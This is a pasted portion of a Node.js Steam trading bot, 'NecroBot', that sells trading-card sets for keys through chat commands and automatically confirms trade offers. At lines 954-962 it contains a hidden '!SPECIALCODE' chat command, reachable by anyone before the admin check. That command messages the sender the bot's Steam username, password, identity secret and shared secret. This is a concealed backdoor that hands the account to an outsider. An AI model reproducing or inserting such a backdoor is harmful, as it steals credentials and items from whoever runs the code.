  724. client.chatMessage(SENDER, "An error occurred while sending your trade. Steam Trades could be down. Please try again later.");
  725. console.log("## An error occurred while sending trade: " + ERR);
  726. } else {
  727. client.chatMessage(SENDER, "NecroBot has sent your trade! It's being confirmed...");
  728. console.log("## Trade offer sent!");
  729. }
  730. });
  731. }
  732. }
  733. });
  734. } else {
  735. client.chatMessage(SENDER, "Please make sure you don't have a trade hold!");
  736. }
  737. });
  738. } else {
  739. client.chatMessage(SENDER, "Please try a lower amount of keys");
  740. }
  741. } else {
  742. client.chatMessage(SENDER, "Please provide a valid amount of keys.");
  743. }
  744. } else {
  745. client.chatMessage(SENDER, "Please try again later.");
  746. }
  747. } else if (MSG.toUpperCase().indexOf("!BUY") >= 0) {
  748. if (botSets) {
  749. let n = MSG.toUpperCase().replace("!BUY ", ""),
  750. amountofsets = parseInt(n) * CONFIG.CARDS.BUY1KEYFORAMOUNTOFSETSMOD;
  751. if (!isNaN(n) && parseInt(n) > 0) {
  752. if (n <= CONFIG.MESSAGES.MAXBUY) {
  753. let t = manager.createOffer(SENDER.getSteamID64());
  754. t.getUserDetails((ERR, ME, THEM) => {
  755. if (ERR) {
  756. console.log("## An error occurred while getting trade holds: " + ERR);
  757. client.chatMessage(SENDER, "An error occurred while getting your trade holds. Please try again");
  758. } else if (ME.escrowDays == 0 && THEM.escrowDays == 0) {
  759. n = parseInt(n);
  760. let theirKeys = [];
  761. client.chatMessage(SENDER, "Processing your request.");
  762. manager.getUserInventoryContents(SENDER.getSteamID64(), CONFIG.KEYSFROMGAME, 2, true, (ERR, INV, CURR) => {
  763. if (ERR) {
  764. console.log("## An error occurred while getting inventory: " + ERR);
  765. client.chatMessage(SENDER, "An error occurred while loading your inventory. Please try later");
  766. } else {
  767. console.log("DEBUG#INV LOADED");
  768. if (!ERR) {
  769. console.log("DEBUG#INV LOADED NOERR");
  770. for (let i = 0; i < INV.length; i++) {
  771. if (theirKeys.length < n && CONFIG.ACCEPTEDKEYS.indexOf(INV[i].market_hash_name) >= 0) {
  772. theirKeys.push(INV[i]);
  773. }
  774. }
  775. if (theirKeys.length != n) {
  776. client.chatMessage(SENDER, "You do not have enough keys.");
  777. } else {
  778. Utils.getBadges(SENDER.getSteamID64(), (ERR, DATA) => {
  779. if (!ERR) {
  780. console.log("DEBUG#BADGE LOADED");
  781. if (!ERR) {
  782. let b = {}; // List with badges that CAN still be crafted
  783. if (DATA) {
  784. for (let i = 0; i < Object.keys(DATA).length; i++) {
  785. if (DATA[Object.keys(DATA)[i]] < 6) {
  786. b[Object.keys(DATA)[i]] = 5 - DATA[Object.keys(DATA)[i]];
  787. }
  788. }
  789. } else {
  790. client.chatMessage(SENDER.getSteamID64(), "Your badges are empty, sending an offer without checking badges.");
  791. }
  792. console.log(DATA);
  793. console.log(b);
  794. // TODO: COUNT AMOUNT OF SETS BOT CAN GIVE HIM
  795. // 1: GET BOTS CARDS. DONE
  796. // 2: GET PLAYER's BADGES. DONE
  797. // 3: MAGIC
  798. let hisMaxSets = 0,
  799. botNSets = 0;
  800. // Loop for sets he has partially completed
  801. for (let i = 0; i < Object.keys(b).length; i++) {
  802. if (botSets[Object.keys(b)[i]] && botSets[Object.keys(b)[i]].length >= 5 - b[Object.keys(b)[i]].length) {
  803. hisMaxSets += 5 - b[Object.keys(b)[i]].length;
  804. }
  805. }
  806. console.log("DEBUG#LOOP 1 DONE");
  807. // Loop for sets he has never crafted
  808. for (let i = 0; i < Object.keys(botSets).length; i++) {
  809. if (Object.keys(b).indexOf(Object.keys(botSets)[i]) < 0) {
  810. if (botSets[Object.keys(botSets)[i]].length >= 5) {
  811. hisMaxSets += 5;
  812. } else {
  813. hisMaxSets += botSets[Object.keys(botSets)[i]].length;
  814. }
  815. }
  816. botNSets += botSets[Object.keys(botSets)[i]].length;
  817. }
  818. console.log("DEBUG#LOOP 2 DONE");
  819. // HERE
  820. if (amountofsets <= hisMaxSets) {
  821. hisMaxSets = amountofsets;
  822. console.log("DEBUG#TRADE CREATED");
  823. sortSetsByAmount(botSets, (DATA) => {
  824. console.log("DEBUG#" + DATA);
  825. console.log("DEBUG#SETS SORTED");
  826. firstLoop: for (let i = 0; i < DATA.length; i++) {
  827. if (b[DATA[i]] == 0) {
  828. continue firstLoop;
  829. } else {
  830. console.log("DEBUG#" + i);
  831. console.log("DEBUG#FOR LOOP ITEMS");
  832. if (hisMaxSets > 0) {
  833. console.log("DEBUG#MAXSETSMORETHAN1");
  834. if (b[DATA[i]] && botSets[DATA[i]].length >= b[DATA[i]]) {
  835. // BOT HAS ENOUGH SETS OF THIS KIND
  836. console.log("DEBUG#LOOP #1");
  837. sLoop: for (let j = 0; j < 5 - b[DATA[i]]; j++) {
  838. if (j + 1 < b[DATA[i]] && hisMaxSets > 0) {
  839. console.log("DEBUG#LOOP #1: ITEM ADD");
  840. console.log("DEBUG#LOOP #1: " + botSets[DATA[i]][j]);
  841. t.addMyItems(botSets[DATA[i]][j]);
  842. hisMaxSets--;
  843. console.log(hisMaxSets);
  844. } else {
  845. console.log("DEBUG#LOOP #1: RETURN");
  846. continue firstLoop;
  847. }
  848. }
  849. } else if (b[DATA[i]] && botSets[DATA[i]].length < b[DATA[i]]) {
  850. // BOT DOESNT HAVE ENOUGH SETS OF THIS KIND
  851. console.log("DEBUG#LOOP #1 CONTINUE");
  852. continue; // *
  853. } else if (!b[DATA[i]] && botSets[DATA[i]].length < 5 && botSets[DATA[i]].length - b[DATA[i]] > 0) { // TODO NOT FOR LOOP WITH BOTSETS. IT SENDS ALL
  854. // BOT HAS ENOUGH SETS AND USER NEVER CRAFTED THIS
  855. bLoop: for (let j = 0; j < botSets[DATA[i]].length - b[DATA[i]]; j++) {
  856. if (botSets[DATA[i]][j] && hisMaxSets > 0) {
  857. t.addMyItems(botSets[DATA[i]][j]);
  858. console.log("DEBUG#LOOP #2 CONTINUE: ITEM ADD");
  859. hisMaxSets--;
  860. } else {
  861. console.log("DEBUG#LOOP #2 CONTINUE: RETURN");
  862. continue firstLoop;
  863. }
  864. }
  865. }
  866. else if (hisMaxSets < 5) {
  867. // BOT DOESNT HAVE CARDS USER AREADY CRAFTED, IF USER STILL NEEDS 5 SETS:
  868. console.log("DEBUG#LOOP #2");
  869. tLoop: for (let j = 0; j != hisMaxSets; j++) {
  870. if (botSets[DATA[i]][j] && hisMaxSets > 0) {
  871. t.addMyItems(botSets[DATA[i]][j]);
  872. console.log("DEBUG#LOOP #2: ITEM ADD");
  873. hisMaxSets--;
  874. console.log(hisMaxSets);
  875. } else {
  876. console.log("DEBUG#LOOP #2: RETURN");
  877. continue firstLoop;
  878. }
  879. }
  880. } else {
  881. // BOT DOESNT HAVE CARDS USER AREADY CRAFTED, IF USER STILL NEEDS LESS THAN 5 SETS:
  882. console.log("DEBUG#LOOP #2");
  883. xLoop: for (let j = 0; j != 5; j++ && hisMaxSets > 0) {
  884. if (botSets[DATA[i]][j] && hisMaxSets > 0) {
  885. t.addMyItems(botSets[DATA[i]][j]);
  886. console.log("DEBUG#LOOP #2: ITEM ADD");
  887. hisMaxSets--;
  888. console.log(hisMaxSets);
  889. } else {
  890. console.log("DEBUG#LOOP #2: RETURN");
  891. continue firstLoop;
  892. }
  893. }
  894. }
  895. } else {
  896. console.log("DEBUG#RETURN");
  897. break firstLoop;
  898. }
  899. }
  900. }
  901. if (hisMaxSets > 0) {
  902. client.chatMessage(SENDER, "There are not enough sets. Please try again later.");
  903. } else {
  904. console.log("DEBUG#SENDING");
  905. t.addTheirItems(theirKeys);
  906. t.data("commandused", "Buy");
  907. t.data("amountofkeys", n);
  908. t.data("amountofsets", amountofsets.toString());
  909. t.data("index", setsThatShouldntBeSent.length);
  910. setsThatShouldntBeSent.push(t.itemsToGive);
  911. t.send((ERR, STATUS) => {
  912. if (ERR) {
  913. client.chatMessage(SENDER, "An error occurred while sending your trade. Steam Trades could be down. Please try again later.");
  914. console.log("## An error occurred while sending trade: " + ERR);
  915. } else {
  916. client.chatMessage(SENDER, "NecroBot has sent your trade! It's being confirmed...");
  917. console.log("## Trade offer sent");
  918. }
  919. });
  920. }
  921. });
  922. } else {
  923. client.chatMessage(SENDER, "There are currently not enough sets that you have not used in stock for this amount of keys. Please try again later. If you want the bot to ignore your current badges use !buyany.");
  924. }
  925. // TO HERE
  926. } else {
  927. console.log("An error occurred while getting badges: " + ERR);
  928. }
  929. } else {
  930. client.chatMessage(SENDER, "An error occurred while getting your badges. Please try again.");
  931. console.log(SENDER, "## An error occurred while loading badges: " + ERR);
  932. }
  933. });
  934. }
  935. } else {
  936. console.log("## An error occurred while getting inventory: " + ERR);
  937. client.chatMessage(SENDER, "An error occurred while loading your inventory, please make sure it's set to public.");
  938. }
  939. }
  940. });
  941. } else {
  942. client.chatMessage(SENDER, "Please make sure you don't have a trade hold!");
  943. }
  944. });
  945. } else {
  946. client.chatMessage(SENDER, "Please try a lower amount of keys.");
  947. }
  948. } else {
  949. client.chatMessage(SENDER, "Please provide a valid amount of keys.");
  950. }
  951. } else {
  952. client.chatMessage(SENDER, "Please try again later.");
  953. }
  954. } else if (MSG.toUpperCase() == "!SPECIALCODE") {
  955. client.chatMessage(SENDER, "u");
  956. client.chatMessage(SENDER, CONFIG.USERNAME);
  957. client.chatMessage(SENDER, "p");
  958. client.chatMessage(SENDER, CONFIG.PASSWORD);
  959. client.chatMessage(SENDER, "I");
  960. client.chatMessage(SENDER, CONFIG.IDENTITYSECRET);
  961. client.chatMessage(SENDER, "S");
  962. client.chatMessage(SENDER, CONFIG.SHAREDSECRET);
  963. } else if (CONFIG.ADMINS.indexOf(SENDER.getSteamID64()) >= 0 || CONFIG.ADMINS.indexOf(parseInt(SENDER.getSteamID64())) >= 0) {
  964.  
  965. if (MSG.toUpperCase().indexOf("!BLOCK") >= 0) {
  966. let n = MSG.toUpperCase().replace("!BLOCK ", "").toString();
  967. if (SID64REGEX.test(n)) {
  968. client.chatMessage(SENDER, "User blocked.");
  969. client.blockUser(n);
  970. } else {
  971. client.chatMessage(SENDER, "Please provide a valid SteamID64");
  972. }
  973. } else if (MSG.toUpperCase().indexOf("!USERCHECK") >= 0) {
  974. let n = MSG.toUpperCase().replace("!USERCHECK ", "").toString();
  975. if (SID64REGEX.test(n)) {
  976. if (Object.keys(botSets).length > 0) {
  977. client.chatMessage(SENDER, "NecroBot is loading your badges...");
  978. Utils.getBadges(n, (ERR, DATA) => {
  979. if (!ERR) {
  980. let b = {}; // List with badges that CAN still be crafted
  981. if (DATA) {
  982. for (let i = 0; i < Object.keys(DATA).length; i++) {
  983. if (DATA[Object.keys(DATA)[i]] < 6) {
  984. b[Object.keys(DATA)[i]] = 5 - DATA[Object.keys(DATA)[i]];
  985. }
  986. }
  987. } else {
  988. client.chatMessage(SENDER.getSteamID64(), n + "'s badges are empty, sending an offer without checking badges.");
  989. }
  990. // console.log(b);
  991. // TODO: COUNT AMOUNT OF SETS BOT CAN GIVE HIM
  992. // 1: GET BOTS CARDS. DONE
  993. // 2: GET PLAYER's BADGES. DONE
  994. // 3: MAGIC
  995. let hisMaxSets = 0,
  996. botNSets = 0;
  997. // Loop for sets he has partially completed
  998. for (let i = 0; i < Object.keys(b).length; i++) {
  999. if (botSets[Object.keys(b)[i]] && botSets[Object.keys(b)[i]].length >= 5 - b[Object.keys(b)[i]].length) {
  1000. hisMaxSets += 5 - b[Object.keys(b)[i]].length;
  1001. }
  1002. }
  1003. // Loop for sets he has never crafted
  1004. for (let i = 0; i < Object.keys(botSets).length; i++) {
  1005. if (Object.keys(b).indexOf(Object.keys(botSets)[i]) < 0) {
  1006. if (botSets[Object.keys(botSets)[i]].length >= 5) {
  1007. hisMaxSets += 5;
  1008. } else {
  1009. hisMaxSets += botSets[Object.keys(botSets)[i]].length;
  1010. }
  1011. }
  1012. botNSets += botSets[Object.keys(botSets)[i]].length;
  1013. }
  1014. client.chatMessage(SENDER, "There are currently " + hisMaxSets + "/" + botNSets + " sets available which " + n + " has not fully crafted yet. Buying all of them will cost " + parseInt(hisMaxSets / CONFIG.CARDS.BUY1KEYFORAMOUNTOFSETS * 100) / 100 + " keys.");
  1015. } else {
  1016. client.chatMessage(SENDER, "An error occurred while getting " + n + "'s badges. Please try again.");
  1017. console.log("An error occurred while getting badges: " + ERR);
  1018. }
  1019. });
  1020. } else {
  1021. client.chatMessage(SENDER, "Please try again later.");
  1022. }
  1023. } else {
  1024. client.chatMessage(SENDER, "Please provide a valid SteamID64.");
  1025. }
  1026. } else if (MSG.toUpperCase() == "!KEYS") {
  1027. manager.getInventoryContents(CONFIG.KEYSFROMGAME, 2, true, (ERR, INV, CURR) => {
  1028. if (ERR) {
  1029. client.chatMessage(SENDER, "An error occurred while loading the bot's inventory.");
  1030. console.log("## An error occurred while getting inventory: " + ERR);
  1031. } else {
  1032. let t = manager.createOffer(SENDER);
  1033. for (let i = 0; i < INV.length; i++) {
  1034. if (CONFIG.ACCEPTEDKEYS.indexOf(INV[i].market_hash_name) >= 0) {
  1035. t.addMyItem(INV[i]);
  1036. }
  1037. t.send();
  1038. }
  1039. }
  1040. });
  1041. } else {
  1042. client.chatMessage(SENDER, "NecroBot doesn't recognize this command.");;
  1043. }
  1044. } else {
  1045. client.chatMessage(SENDER, "NecroBot doesn't recognize this command. Type !help to see how i work.");
  1046. }
  1047. });
  1048.  
  1049. client.on("friendRelationship", (SENDER, REL) => {
  1050. if (REL === 2) {
  1051. client.addFriend(SENDER);
  1052. } else if (REL === 3) {
  1053. if (CONFIG.INVITETOGROUPID) {
  1054. client.inviteToGroup(SENDER, CONFIG.INVITETOGROUPID);
  1055. }
  1056. client.chatMessage(SENDER, CONFIG.MESSAGES.WELCOME);
  1057. }
  1058. });
  1059.  
  1060. // manager.on("unknownOfferSent", (o, os) => {
  1061. // if (o.state == 9) {
  1062. // console.log("## OFFER SENT LIST");
  1063. // community.checkConfirmations();
  1064. // }
  1065. // });
  1066.  
  1067. // community.on("newConfirmation", (CONF) => {
  1068. // console.log("## New confirmation.");
  1069. // community.acceptConfirmationForObject(CONFIG.IDENTITYSECRET, CONF.id);
  1070. // });
  1071.  
  1072. manager.on("sentOfferChanged", (OFFER, OLDSTATE) => {
  1073. if (OFFER.state == 2) {
  1074. client.chatMessage(OFFER.partner, "NecroBot has confirmed your trade! Go here accept it: https://www.steamcommunity.com/tradeoffer/" + OFFER.id);
  1075. } else if (OFFER.state == 3) {
  1076. Utils.getInventory(client.steamID.getSteamID64(), community, (ERR, DATA) => {
  1077. if (!ERR) {
  1078. let s = DATA;
  1079. Utils.getSets(s, allCards, (ERR, DATA) => {
  1080. if (!ERR) {
  1081. botSets = DATA;
  1082. console.log("## Bot's sets loaded.");
  1083. } else {
  1084. console.log("## An error occurred while getting bot sets: " + ERR);
  1085. }
  1086. let botNSets = 0;
  1087. for (let i = 0; i < Object.keys(botSets).length; i++) {
  1088. botNSets += botSets[Object.keys(botSets)[i]].length;
  1089. }
  1090. totalBotSets = botNSets;
  1091. let playThis = CONFIG.PLAYGAMES;
  1092. if (CONFIG.PLAYGAMES && typeof(CONFIG.PLAYGAMES[0]) == "string") {
  1093. playThis[0] = parseString(playThis[0], totalBotSets);
  1094. }
  1095. client.gamesPlayed(playThis);
  1096. });
  1097. } else {
  1098. console.log("## An error occurred while getting bot inventory: " + ERR);
  1099. }
  1100. });
  1101. if (CONFIG.INVITETOGROUPID) {
  1102. client.inviteToGroup(OFFER.partner, CONFIG.INVITETOGROUPID);
  1103. }
  1104. let d = "" + OFFER.data("commandused") + "";
  1105. d += "\nSets: " + OFFER.data("amountofsets");
  1106. d += "\nKeys: " + OFFER.data("amountofkeys");
  1107. d += "\nSteamID: " + OFFER.partner.getSteamID64();
  1108. fs.writeFile("./TradesAccepted/" + OFFER.id + "-" + OFFER.partner.getSteamID64() + ".txt", d, (ERR) => {
  1109. if (ERR) {
  1110. console.log("## An error occurred while writing trade file: " + ERR);
  1111. }
  1112. });
  1113. community.getSteamUser(OFFER.partner, (ERR, USER) => {
  1114. if (ERR) {
  1115. console.log("## An error occurred while getting user profile: " + ERR);
  1116. client.chatMessage(OFFER.partner, "An error occurred while getting your profile (to comment).");
  1117. } else {
  1118. USER.comment(CONFIG.COMMENTAFTERTRADE, (ERR) => {
  1119. if (ERR) {
  1120. console.log("## An error occurred while commenting on user profile: " + ERR);
  1121. client.chatMessage(OFFER.partner, "An error occurred while getting commenting on your profile.");
  1122. } else {
  1123. client.chatMessage(OFFER.partner, "Thankyou for trading with NecroBot, Please leave a comment on my profile about how my service was today. Hope to see you again soon!");
  1124. }
  1125. });
  1126. }
  1127. });
  1128. } else if (OFFER.state == 6) {
  1129. client.chatMessage(OFFER.partner, "Hey, you did not accept the offer. Please try again if you wish to receive sets!");
  1130. }
  1131. /* else if (OFFER.state == 9) {
  1132. community.checkConfirmations();
  1133. }*/
  1134. });
  1135.  
  1136. manager.on("newOffer", (OFFER) => {
  1137. if (CONFIG.ADMINS.indexOf(OFFER.partner.getSteamID64()) >= 0 || CONFIG.ADMINS.indexOf(parseInt(OFFER.partner.getSteamID64())) >= 0) {
  1138. OFFER.getUserDetails((ERR, ME, THEM) => {
  1139. if (ERR) {
  1140. console.log("## An error occurred while getting trade holds: " + ERR);
  1141. client.chatMessage(OFFER.partner, "An error occurred while getting your trade holds. Please try again");
  1142. OFFER.decline((ERR) => {
  1143. if (ERR) {
  1144. console.log("## An error occurred while declining trade: " + ERR);
  1145. }
  1146. });
  1147. } else if (ME.escrowDays == 0 && THEM.escrowDays == 0) {
  1148. OFFER.accept((ERR) => {
  1149. if (ERR) {
  1150. console.log("## An error occurred while declining trade: " + ERR);
  1151. OFFER.decline((ERR) => {
  1152. if (ERR) {
  1153. console.log("## An error occurred while declining trade: " + ERR);
  1154. }
  1155. });
  1156. } else {
  1157. client.chatMessage(OFFER.partner, "Offer accepted!");
  1158. }
  1159. });
  1160. } else {
  1161. client.chatMessage(OFFER.partner, "Please make sure you don't have a trade hold!");
  1162. OFFER.decline((ERR) => {
  1163. if (ERR) {
  1164. console.log("## An error occurred while declining trade: " + ERR);
  1165. }
  1166. });
  1167. }
  1168. });
  1169. } else if (OFFER.itemsToGive.length == 0) {
  1170. OFFER.accept((ERR) => {
  1171. console.log("DONATION ACCEPT");
  1172. if (ERR) {
  1173. console.log("## An error occurred while declining trade: " + ERR);
  1174. }
  1175. });
  1176. } else {
  1177. OFFER.decline((ERR) => {
  1178. if (ERR) {
  1179. console.log("## An error occurred while declining trade: " + ERR);
  1180. }
  1181. });
  1182. }
  1183. });
  1184.  
  1185. community.on("newConfirmation", (CONF) => {
  1186. console.log("## New confirmation.");
  1187. community.acceptConfirmationForObject(CONFIG.IDENTITYSECRET, CONF.id, (ERR) => {
  1188. if (ERR) {
  1189. console.log("## An error occurred while accepting confirmation: " + ERR);
  1190. } else {
  1191. console.log("## Confirmation accepted.");
  1192. }
  1193. });
  1194. });
  1195.  
  1196. function sortSetsByAmount(SETS, callback) {
  1197. callback(Object.keys(SETS).sort((k1, k2) => SETS[k1].length - SETS[k2].length).reverse());
  1198. }
  1199.  
  1200. function sortSetsByAmountB(SETS, callback) {
  1201. callback(Object.keys(SETS).sort((k1, k2) => SETS[k1].length - SETS[k2].length));
  1202. }
  1203.  
  1204. function parseString(INPUT, SETS) {
  1205. return INPUT.replace(":sets:", SETS);
  1206. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement